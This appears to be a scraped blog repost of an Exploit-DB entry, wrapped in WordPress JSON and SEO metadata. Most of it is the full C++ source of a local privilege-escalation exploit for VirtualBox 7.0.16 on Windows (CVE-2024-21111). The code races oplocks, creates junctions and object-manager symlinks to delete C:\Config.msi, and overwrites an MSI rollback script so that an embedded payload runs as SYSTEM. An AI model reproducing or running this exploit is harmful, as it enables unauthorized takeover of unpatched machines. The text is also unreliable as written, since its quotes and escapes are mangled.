\n# Exploit Title: VirtualBox 7.0.16 – Privilege Escalation
\n
# Date: 2025-05-06
\n
# Exploit Author: Milad Karimi (Ex3ptionaL)
\n
# Contact: miladgrayhat@gmail.com
\n
# Zone-H: www.zone-h.org\/archive\/notifier=Ex3ptionaL
\n
# Tested on: Win x64
\n
# CVE : CVE-2024-21111<\/p>\n
#include
\n
#include
\n
#include
\n
#include
\n
#include
\n
#include
\n
#include
\n
#include “resource.h”
\n
#include “def.h”
\n
#include “FileOplock.h”
\n
#pragma comment(lib, “Msi.lib”)
\n
#pragma comment(lib, “Shlwapi.lib”)
\n
#pragma comment(lib, “wtsapi32”)
\n
#pragma comment(lib, “PathCch.lib”)
\n
#pragma comment(lib, “rpcrt4.lib”)
\n
#pragma warning(disable:4996)
\n
struct __declspec(uuid(“74AB5FFE-8726-4435-AA7E-876D705BCBA5”))
\n
CLSID_VBoxSDS;
\n
FileOpLock* oplock;
\n
HANDLE hFile, vb11, h;
\n
HANDLE hthread;
\n
NTSTATUS retcode;
\n
HMODULE hm = GetModuleHandle(NULL);
\n
HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L”rbs”);
\n
DWORD RbsSize = SizeofResource(hm, res);
\n
void* RbsBuff = LoadResource(hm, res);
\n
WCHAR dir[MAX_PATH] = { 0x0 };
\n
wchar_t filen[MAX_PATH] = { 0x0 };
\n
DWORD WINAPI install(void*);
\n
BOOL Move(HANDLE hFile);
\n
void callback();
\n
HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD
\n
dispostion);
\n
LPWSTR BuildPath(LPCWSTR path);
\n
void loadapis();
\n
VOID cb1();
\n
VOID cb0();
\n
BOOL Monitor(HANDLE hDir);
\n
BOOL clearDataDir();
\n
BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) {
\n
HANDLE hJunction;
\n
DWORD cb;
\n
wchar_t printname[] = L””;
\n
HANDLE hDir;
\n
hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL,
\n
OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
\n
if (hDir == INVALID_HANDLE_VALUE) {
\n
printf(“[!] Failed to obtain handle on directory %ls.\\n”, dir);
\n
return FALSE;
\n
}
\n
SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);
\n
SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);
\n
SIZE_T PathLen = TargetLen + PrintnameLen + 12;
\n
SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER,
\n
GenericReparseBuffer.DataBuffer));
\n
PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize);
\n
Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
\n
Data->ReparseDataLength = PathLen;
\n
Data->Reserved = 0;
\n
Data->MountPointReparseBuffer.SubstituteNameOffset = 0;
\n
Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen;
\n
memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);
\n
Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);
\n
Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen;
\n
memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1,
\n
printname, PrintnameLen + 2);
\n
if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL,
\n
0, &cb, NULL) != 0)
\n
{
\n
printf(“[+] Junction %ls -> %ls created!\\n”, dir, target);
\n
free(Data);
\n
return TRUE;
\n
}
\n
else
\n
{
\n
printf(“[!] Error: %d. Exiting\\n”, GetLastError());
\n
free(Data);
\n
return FALSE;
\n
}
\n
}
\n
BOOL DeleteJunction(LPCWSTR path) {
\n
REPARSE_GUID_DATA_BUFFER buffer = { 0 };
\n
BOOL ret;
\n
buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
\n
DWORD cb = 0;
\n
IO_STATUS_BLOCK io;
\n
HANDLE hDir;
\n
hDir = CreateFile(path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL,
\n
OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL);
\n
if (hDir == INVALID_HANDLE_VALUE) {
\n
printf(“[!] Failed to obtain handle on directory %ls.\\n”, path);
\n
printf(“%d\\n”, GetLastError());
\n
return FALSE;
\n
}
\n
ret = DeviceIoControl(hDir, FSCTL_DELETE_REPARSE_POINT, &buffer,
\n
REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL);
\n
if (ret == 0) {
\n
printf(“Error: %d\\n”, GetLastError());
\n
return FALSE;
\n
}
\n
else
\n
{
\n
printf(“[+] Junction %ls delete!\\n”, dir);
\n
return TRUE;
\n
}
\n
}
\n
BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
\n
if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object,
\n
target)) {
\n
printf(“[+] Symlink %ls -> %ls created!\\n”, object, target);
\n
return TRUE;
\n
}
\n
else
\n
{
\n
printf(“error :%d\\n”, GetLastError());
\n
return FALSE;
\n
}
\n
}
\n
BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
\n
if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH |
\n
DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {
\n
printf(“[+] Symlink %ls -> %ls deleted!\\n”, object, target);
\n
return TRUE;
\n
}
\n
else
\n
{
\n
printf(“error :%d\\n”, GetLastError());
\n
return FALSE;
\n
}
\n
}
\n
void runSDS(int delay) {
\n
if (delay == 1) {
\n
printf(“[!] sleeping for 2 sec\\n”);
\n
Sleep(2000);
\n
}
\n
CoInitialize(NULL);
\n
LPVOID ppv;
\n
\/\/ 1st trigger to create VBoxSDS.log dir
\n
CoCreateInstance(__uuidof(CLSID_VBoxSDS), 0, CLSCTX_LOCAL_SERVER,
\n
IID_IUnknown, &ppv);
\n
CoUninitialize();
\n
}
\n
BOOL checkSDSLog() {
\n
BOOL clear = FALSE;
\n
std::wstring vboxDataDir = L”C:\\\\ProgramData\\\\VirtualBox\\\\VBoxSDS.log.*”;
\n
HANDLE hFind;
\n
WIN32_FIND_DATA data;
\n
hFind = FindFirstFile(LPCWSTR(vboxDataDir.c_str()), &data);
\n
\/\/ iterate first VBoxSDS.log
\n
FindNextFile(hFind, &data);
\n
if (hFind != INVALID_HANDLE_VALUE) {
\n
do {
\n
if (wcswcs(data.cFileName, L”VBoxSDS.log.”)) {
\n
runSDS(0);
\n
\/\/wprintf(L”%s\\n”, data.cFileName);
\n
}
\n
else {
\n
printf(“[+] Logs have been cleared!\\n”);
\n
clear = TRUE;
\n
}
\n
\/\/wprintf(L”%s\\n”, data.cFileName);
\n
} while (FindNextFile(hFind, &data));
\n
FindClose(hFind);
\n
}
\n
\/\/printf(“CLEAR: %d\\n”, clear);
\n
return clear;
\n
}
\n
BOOL enumProc(const wchar_t* procName) {
\n
PWTS_PROCESS_INFO processes{};
\n
BOOL ok = FALSE;
\n
DWORD count;
\n
if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, NULL, 1, &processes,
\n
&count)) {
\n
for (DWORD i = 0; i < count; i++) {\n
if (wcswcs(processes[i].pProcessName, procName)) {
\n
wprintf(L”[!] Process active: %s with PID %d\\n”,
\n
processes[i].pProcessName, processes[i].ProcessId);
\n
ok = TRUE;
\n
break;
\n
}
\n
}
\n
}
\n
else {
\n
printf(“err: %d\\n”, GetLastError());
\n
}
\n
WTSFreeMemory(processes);
\n
return ok;
\n
}
\n
void checkIfExists() {
\n
if (enumProc(L”VirtualBoxVM.exe”)) {
\n
printf(“[!] You seem to have active VMs running, please stop them before
\n
running this to prevent corruption of any saved data of the VMs.\\n”);
\n
exit(1);
\n
}
\n
if (enumProc(L”VirtualBox.exe”)) {
\n
printf(“[!] VirtualBox process active\\n”);
\n
\/\/ message
\n
printf(“[!] Trying to exit virtualbox by postmessage close window\\n”);
\n
PostMessage(FindWindow(NULL, TEXT(“Oracle VM VirtualBox Manager”)),
\n
WM_CLOSE, NULL, NULL);
\n
printf(“[!] Letting VBoxSDS exit (wait 12 seconds)\\n\\n”);
\n
Sleep(12000);
\n
if (enumProc(L”VBoxSDS.exe”)) {
\n
printf(“[-] error stopping vboxsds\\n”);
\n
exit(1);
\n
}
\n
else {
\n
printf(“[+] Success stopping vboxsds!\\n”);
\n
}
\n
}
\n
}
\n
BOOL clearDataDir() {
\n
do {
\n
vb11 = CreateFile(L”C:\\\\ProgramData\\\\VirtualBox\\\\VBoxSDS.log.11″, DELETE,
\n
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
\n
FILE_FLAG_OVERLAPPED, NULL);
\n
printf(“h: %x %d\\n”, vb11, GetLastError());
\n
} while (vb11 == INVALID_HANDLE_VALUE);
\n
oplock = FileOpLock::CreateLock(vb11, cb1);
\n
if (oplock != NULL) {
\n
HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS, NULL, 0,
\n
NULL);
\n
oplock->WaitForLock(INFINITE);
\n
CloseHandle(c);
\n
}
\n
BOOL isEmpty = FALSE;
\n
do {
\n
isEmpty = checkSDSLog();
\n
} while (isEmpty == FALSE);
\n
if (!RemoveDirectory(L”C:\\\\ProgramData\\\\VirtualBox\\\\VBoxSDS.log”)) {
\n
printf(“error removing vboxlog dir\\n”);
\n
exit(1);
\n
}
\n
return isEmpty;
\n
}
\n
int wmain() {
\n
loadapis();
\n
checkIfExists();
\n
clearDataDir();
\n
hFile = getDirectoryHandle(BuildPath(L”C:\\\\Config.msi”), GENERIC_READ |
\n
DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
\n
if (hFile == INVALID_HANDLE_VALUE)
\n
{
\n
printf(“[!] Failed to create C:\\\\Config.msi directory. Trying to delete
\n
it.\\n”);
\n
install(NULL);
\n
hFile = getDirectoryHandle(BuildPath(L”C:\\\\Config.msi”), GENERIC_READ |
\n
DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
\n
if (hFile != INVALID_HANDLE_VALUE)
\n
{
\n
printf(“[+] Successfully removed and recreated C:\\\\Config.Msi.\\n”);
\n
}
\n
else
\n
{
\n
printf(“[!] Failed. Cannot remove c:\\\\Config.msi”);
\n
\/\/return 1;
\n
}
\n
}
\n
if (!PathIsDirectoryEmpty(L”C:\\\\Config.Msi”))
\n
{
\n
printf(“[!] Failed. C:\\\\Config.Msi already exists and is not empty.\\n”);
\n
\/\/return 1;
\n
}
\n
printf(“[+] Config.msi directory created!\\n”);
\n
HANDLE hDir =
\n
getDirectoryHandle(BuildPath(L”C:\\\\ProgramData\\\\VirtualBox”), GENERIC_READ,
\n
FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
\n
printf(“hDir: %x\\n”, hDir);
\n
\/\/Monitor(hDir);
\n
HANDLE zxc{};
\n
zxc = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Monitor, hDir, 0,
\n
NULL);
\n
SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
\n
SetThreadPriorityBoost(GetCurrentThread(), TRUE); \/\/ This lets us maintain
\n
express control of our priority
\n
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
\n
oplock = FileOpLock::CreateLock(hFile, callback);
\n
if (oplock != nullptr) {
\n
oplock->WaitForLock(INFINITE);
\n
delete oplock;
\n
}
\n
do {
\n
hFile = getDirectoryHandle(BuildPath(L”C:\\\\Config.msi”), GENERIC_READ |
\n
WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE |
\n
FILE_SHARE_DELETE, FILE_OPEN_IF);
\n
} while (!hFile);
\n
char buff[4096];
\n
DWORD retbt = 0;
\n
FILE_NOTIFY_INFORMATION* fn;
\n
WCHAR* extension;
\n
WCHAR* extension2;
\n
do {
\n
ReadDirectoryChangesW(hFile, buff, sizeof(buff) – sizeof(WCHAR), TRUE,
\n
FILE_NOTIFY_CHANGE_FILE_NAME,
\n
&retbt, NULL, NULL);
\n
fn = (FILE_NOTIFY_INFORMATION*)buff;
\n
size_t sz = fn->FileNameLength \/ sizeof(WCHAR);
\n
fn->FileName[sz] = ‘\\0’;
\n
extension = fn->FileName;
\n
PathCchFindExtension(extension, MAX_PATH, &extension2);
\n
} while (wcscmp(extension2, L”.rbs”) != 0);
\n
SetSecurityInfo(hFile, SE_FILE_OBJECT,
\n
UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL,
\n
NULL, NULL, NULL);
\n
while (!Move(hFile)) {
\n
}
\n
HANDLE cfg_h = getDirectoryHandle(BuildPath(L”C:\\\\Config.msi”),
\n
FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
\n
FILE_CREATE);
\n
WCHAR rbsfile[MAX_PATH];
\n
_swprintf(rbsfile, L”C:\\\\Config.msi\\\\%s”, fn->FileName);
\n
HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ |
\n
FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS,
\n
FILE_ATTRIBUTE_NORMAL, NULL);
\n
if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) {
\n
printf(“[+] Rollback script overwritten!\\n”);
\n
}
\n
else
\n
{
\n
printf(“[!] Failed to overwrite rbs file!\\n”);
\n
}
\n
CloseHandle(rbs);
\n
CloseHandle(cfg_h);
\n
DeleteJunction(dir);
\n
CloseHandle(zxc);
\n
WCHAR asdfasdf[MAX_PATH];
\n
_swprintf(asdfasdf, L”GLOBAL\\\\GLOBALROOT\\\\RPC Control\\\\%s”, filen);
\n
DelDosDeviceSymLink(asdfasdf, L”\\\\??\\\\C:\\\\Config.msi::$INDEX_ALLOCATION”);
\n
return 0;
\n
}
\n
DWORD WINAPI install(void*) {
\n
HMODULE hm = GetModuleHandle(NULL);
\n
HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L”msi”);
\n
wchar_t msipackage[MAX_PATH] = { 0x0 };
\n
GetTempFileName(L”C:\\\\windows\\\\temp\\\\”, L”MSI”, 0, msipackage);
\n
printf(“[*] MSI file: %ls\\n”, msipackage);
\n
DWORD MsiSize = SizeofResource(hm, res);
\n
void* MsiBuff = LoadResource(hm, res);
\n
HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC,
\n
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL,
\n
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
\n
WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL);
\n
CloseHandle(pkg);
\n
MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);
\n
UINT a = MsiInstallProduct(msipackage, L”ACTION=INSTALL”);
\n
printf(“%d\\n”, a);
\n
MsiInstallProduct(msipackage, L”REMOVE=ALL”);
\n
DeleteFile(msipackage);
\n
return 0;
\n
}
\n
BOOL Move(HANDLE hFile) {
\n
if (hFile == INVALID_HANDLE_VALUE) {
\n
printf(“[!] Invalid handle!\\n”);
\n
return FALSE;
\n
}
\n
wchar_t tmpfile[MAX_PATH] = { 0x0 };
\n
RPC_WSTR str_uuid;
\n
UUID uuid = { 0 };
\n
UuidCreate(&uuid);
\n
UuidToString(&uuid, &str_uuid);
\n
_swprintf(tmpfile, L”\\\\??\\\\C:\\\\windows\\\\temp\\\\%s”, str_uuid);
\n
size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) *
\n
sizeof(wchar_t));
\n
FILE_RENAME_INFO* rename_info =
\n
(FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY |
\n
HEAP_GENERATE_EXCEPTIONS, buffer_sz);
\n
IO_STATUS_BLOCK io = { 0 };
\n
rename_info->ReplaceIfExists = TRUE;
\n
rename_info->RootDirectory = NULL;
\n
rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040;
\n
rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t);
\n
memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) *
\n
sizeof(wchar_t));
\n
NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info,
\n
buffer_sz, 65);
\n
if (status != 0) {
\n
return FALSE;
\n
}
\n
return TRUE;
\n
}
\n
void callback() {
\n
SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS);
\n
Move(hFile);
\n
hthread = CreateThread(NULL, NULL, install, NULL, NULL, NULL);
\n
HANDLE hd;
\n
do {
\n
hd = getDirectoryHandle(BuildPath(L”C:\\\\Config.msi”), GENERIC_READ,
\n
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
\n
} while (!hd);
\n
do {
\n
CloseHandle(hd);
\n
hd = getDirectoryHandle(BuildPath(L”C:\\\\Config.msi”), GENERIC_READ,
\n
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
\n
} while (hd);
\n
CloseHandle(hd);
\n
do {
\n
hd = getDirectoryHandle(BuildPath(L”C:\\\\Config.msi”), GENERIC_READ,
\n
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
\n
CloseHandle(hd);
\n
} while (retcode != 0xC0000022);
\n
}
\n
HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD
\n
dispostion) {
\n
UNICODE_STRING ufile;
\n
HANDLE hDir;
\n
pRtlInitUnicodeString(&ufile, file);
\n
OBJECT_ATTRIBUTES oa = { 0 };
\n
IO_STATUS_BLOCK io = { 0 };
\n
InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL);
\n
retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL,
\n
FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE |
\n
FILE_OPEN_REPARSE_POINT, NULL, NULL);
\n
if (!NT_SUCCESS(retcode)) {
\n
return NULL;
\n
}
\n
return hDir;
\n
}
\n
LPWSTR BuildPath(LPCWSTR path) {
\n
wchar_t ntpath[MAX_PATH];
\n
swprintf(ntpath, L”\\\\??\\\\%s”, path);
\n
return ntpath;
\n
}
\n
void loadapis() {
\n
HMODULE ntdll = GetModuleHandle(L”ntdll.dll”);
\n
if (ntdll != NULL) {
\n
pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll,
\n
“RtlInitUnicodeString”);
\n
pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, “NtCreateFile”);
\n
pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll,
\n
“NtSetInformationFile”);
\n
}
\n
if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL) {
\n
printf(“Cannot load api’s %d\\n”, GetLastError());
\n
exit(0);
\n
}
\n
}
\n
void cb0() {
\n
if (!Move(h)) {
\n
printf(“reached3\\n”);
\n
exit(1);
\n
}
\n
printf(“reached2\\n”);
\n
_swprintf(dir, L”C:\\\\ProgramData\\\\VirtualBox”);
\n
if (!CreateJunction(BuildPath(dir), L”\\\\RPC Control”)) {
\n
printf(“[!] Exiting!\\n”);
\n
exit(1);
\n
}
\n
WCHAR asdfasdf[MAX_PATH];
\n
_swprintf(asdfasdf, L”GLOBAL\\\\GLOBALROOT\\\\RPC Control\\\\%s”, filen);
\n
if (!DosDeviceSymLink(asdfasdf,
\n
L”\\\\??\\\\C:\\\\Config.msi::$INDEX_ALLOCATION”)) {
\n
printf(“zxc\\n”);
\n
\/\/printf(“[!] Exiting!\\n”);
\n
\/\/exit(1);
\n
}
\n
}
\n
void cb1() {
\n
printf(“[!] oplock triggered\\n”);
\n
if (!Move(vb11)) {
\n
printf(“reached3\\n”);
\n
exit(1);
\n
}
\n
if (!CreateDirectory(L”C:\\\\ProgramData\\\\VirtualBox\\\\VBoxSDS.log”, NULL)) {
\n
printf(“Error creating dir. Exiting\\n”);
\n
exit(1);
\n
}
\n
return;
\n
}
\n
BOOL Monitor(HANDLE hDir) {
\n
printf(“[!] Monitor called\\n”);
\n
BOOL deleted = FALSE;
\n
_swprintf(filen, L”VBoxSDS.log.11″);
\n
do {
\n
do {
\n
h = CreateFile(L”C:\\\\ProgramData\\\\VirtualBox\\\\VBoxSDS.log.11″, DELETE,
\n
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
\n
FILE_FLAG_OVERLAPPED, NULL);
\n
printf(“h: %x\\n”, h);
\n
} while (h == INVALID_HANDLE_VALUE);
\n
oplock = FileOpLock::CreateLock(h, cb0);
\n
if (oplock != NULL) {
\n
HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS,
\n
(LPVOID)1, 0, NULL);
\n
oplock->WaitForLock(INFINITE);
\n
CloseHandle(c);
\n
}
\n
deleted = TRUE;
\n
} while (deleted == FALSE);
\n
return deleted;
\n
}\n<\/div>\nView Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title VirtualBox 7.0.16 – Privilege Escalation Exploit ID EDB-ID:52287 Type exploitdb Published 2025-05-09T00:00:00 Modified 2025-05-09T00:00:00 CVSS Information CVSS Score 7.8…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,40,15,13,7,11,5],"class_list":["post-3803","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
VirtualBox 7.0.16 - Privilege Escalation - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=3803\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"VirtualBox 7.0.16 - Privilege Escalation - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title VirtualBox 7.0.16 – Privilege Escalation Exploit ID EDB-ID:52287 Type exploitdb Published 2025-05-09T00:00:00 Modified 2025-05-09T00:00:00 CVSS Information CVSS Score 7.8...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=3803\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-09T14:43:12+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3803#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3803\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"VirtualBox 7.0.16 – Privilege Escalation\",\"datePublished\":\"2025-05-09T14:43:12+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3803\"},\"wordCount\":1982,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.8\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=3803#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3803\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3803\",\"name\":\"VirtualBox 7.0.16 - Privilege Escalation - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-05-09T14:43:12+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3803#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=3803\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3803#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"VirtualBox 7.0.16 – Privilege Escalation\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"VirtualBox 7.0.16 - Privilege Escalation - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=3803","og_locale":"en_US","og_type":"article","og_title":"VirtualBox 7.0.16 - Privilege Escalation - zero redgem","og_description":"Exploit Details Basic Information Exploit Title VirtualBox 7.0.16 – Privilege Escalation Exploit ID EDB-ID:52287 Type exploitdb Published 2025-05-09T00:00:00 Modified 2025-05-09T00:00:00 CVSS Information CVSS Score 7.8...","og_url":"https:\/\/zero.redgem.net\/?p=3803","og_site_name":"zero redgem","article_published_time":"2025-05-09T14:43:12+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=3803#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=3803"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"VirtualBox 7.0.16 – Privilege 